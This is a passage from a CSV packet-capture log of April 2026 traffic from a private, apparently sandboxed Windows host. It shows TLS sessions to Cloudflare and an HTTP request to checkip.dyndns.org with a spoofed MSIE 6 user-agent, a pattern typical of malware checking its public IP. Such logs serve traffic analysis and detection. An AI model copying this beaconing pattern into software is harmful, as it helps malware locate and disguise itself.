ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:00.737830,130,TCP 188.114.96.0:443 -> 192.168.122.168:50118,188.114.96.0,192.168.122.168,443,50118,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2654325686 Ack=1572412575,5254007bb792525400577f940800450000288b77400040065795bc726000c0a87aa801bbc3c69e35cbb65db91c9f5010005357de0000,RT.{..RT.W....E..(.w@.@.W..r`...z......5..]...P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35703, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22421, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50118, \"\"seq\"\": 2654325686, \"\"ack\"\": 1572412575, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.774523,131,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497397 Ack=3385611642,525400577f945254007bb792080045000028d2a14000800670b1c0a87aa884e2f749c3b40050e1745475c9cc557a501003fdb7970000,RT.W..RT.{....E..(..@...p...z....I...P.tTu..UzP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53921, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28849, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497397, \"\"ack\"\": 3385611642, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.122674,132,TCP 188.114.96.0:443 -> 192.168.122.168:50118,188.114.96.0,192.168.122.168,443,50118,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2654325686 Ack=1572412575,Error,\"Error extracting content: b'.\\xd7\\x82\\xc4Z\\xa1\\xc8J\\xbc\\xd0\\xd7\"\"\\xb8A\\x1eI\\x04\\x16a\\xbc \\x9dg\\x16\\xa1\\xae\\xfb\\xb3\\x9d\\x9b\\xeb\\xef\\xfd\\xb4|\\xf9\\x01\\xb5\\xcbG\\x9f\\x0c\\\\p\\xb0\\xfb\\xf6\\x1c\\xe3\\x94\\x90\\xfe\\xd8&2w\\x8d\\xd4\\x9a\\xc6\\x04U,Z\\xf5\\xe1%\\x18\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 35704, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22297, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50118, \"\"seq\"\": 2654325686, \"\"ack\"\": 1572412575, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:23:01  (1777400581) random_bytes=fde48dd381767554eb89951c77c4144ea41c10ca444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\".\\\\u05c2\\\\\\\\xc4Z\\\\\\\\xa1\\\\\\\\xc8J\\\\\\\\xbc\\\\\\\\xd0\\\\\\\\xd7\\\\\\\"\"\\\\\\\\xb8A\\\\u001eI\\\\u0004\\\\u0016a\\\\\\\\xbc \\\\\\\\x9dg\\\\u0016\\\\\\\\xa1\\\\\\\\xae\\\\\\\\xfb\\\\\\\\xb3\\\\\\\\x9d\\\\\\\\x9b\\\\\\\\xeb\\\\\\\\xef\\\\\\\\xfd\\\\\\\\xb4|\\\\\\\\xf9\\\\u0001\\\\\\\\xb5\\\\\\\\xcbG\\\\\\\\x9f\\\\f\\\\\\\\p\\\\\\\\xb0\\\\\\\\xfb\\\\\\\\xf6\\\\u001c\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:01.131759,133,TCP 192.168.122.168:50118 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50118,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=1572412575 Ack=2654325809,525400577f945254007bb79208004500002876b7400080062c55c0a87aa8bc726000c3c601bb5db91c9f9e35cc315011201457de0000,\"RT.W..RT.{....E..(v.@...,U..z..r`.....]....5.1P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30391, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11349, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50118, \"\"dport\"\": 443, \"\"seq\"\": 1572412575, \"\"ack\"\": 2654325809, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.131848,134,TCP 188.114.96.0:443 -> 192.168.122.168:50118,188.114.96.0,192.168.122.168,443,50118,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2654325809 Ack=1572412576,5254007bb792525400577f940800450000288b79400040065793bc726000c0a87aa801bbc3c69e35cc315db91ca05011005357de0000,RT.{..RT.W....E..(.y@.@.W..r`...z......5.1]...P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35705, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22419, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50118, \"\"seq\"\": 2654325809, \"\"ack\"\": 1572412576, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.131973,135,TCP 192.168.122.168:50118 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50118,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1572412576 Ack=2654325810,525400577f945254007bb79208004500002876b8400080062c54c0a87aa8bc726000c3c601bb5db91ca09e35cc325010201457de0000,\"RT.W..RT.{....E..(v.@...,T..z..r`.....]....5.2P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30392, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11348, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50118, \"\"dport\"\": 443, \"\"seq\"\": 1572412576, \"\"ack\"\": 2654325810, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.149003,136,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d2a2400080067031c0a87aa884e2f749c3b40050e1745475c9cc557a501803fdb8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p1..z....I...P.tTu..UzP.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53922, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28721, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497397, \"\"ack\"\": 3385611642, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:23:01.149039,137,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385611642 Ack=3782497524,5254007bb792525400577f9408004500002838e0400040064a7384e2f749c0a87aa80050c3b4c9cc557ae17454f450100053b7970000,RT.{..RT.W....E..(8.@.@.Js...I..z..P....Uz.tT.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14560, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19059, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611642, \"\"ack\"\": 3782497524, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.851787,138,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938e140004006494184e2f749c0a87aa80050c3b4c9cc557ae17454f450180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32333a303120474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14561, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18753, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611642, \"\"ack\"\": 3782497524, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:23:01 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:23:01.853166,139,TCP 192.168.122.168:50119 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50119,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=4216924951 Ack=0,525400577f945254007bb79208004500003476b9400080062c47c0a87aa8bc726000c3c701bbfb592b17000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,G..z..r`......Y+.........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30393, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11335, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50119, \"\"dport\"\": 443, \"\"seq\"\": 4216924951, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:23:01.853245,140,TCP 188.114.96.0:443 -> 192.168.122.168:50119,188.114.96.0,192.168.122.168,443,50119,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2541583211 Ack=4216924952,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c7977d7b6bfb592b188012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z......}{k.Y+....dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50119, \"\"seq\"\": 2541583211, \"\"ack\"\": 4216924952, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:23:01.853402,141,TCP 192.168.122.168:50119 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50119,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4216924952 Ack=2541583212,525400577f945254007bb79208004500002876ba400080062c52c0a87aa8bc726000c3c701bbfb592b18977d7b6c5010040257de0000,\"RT.W..RT.{....E..(v.@...,R..z..r`......Y+..}{lP...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": 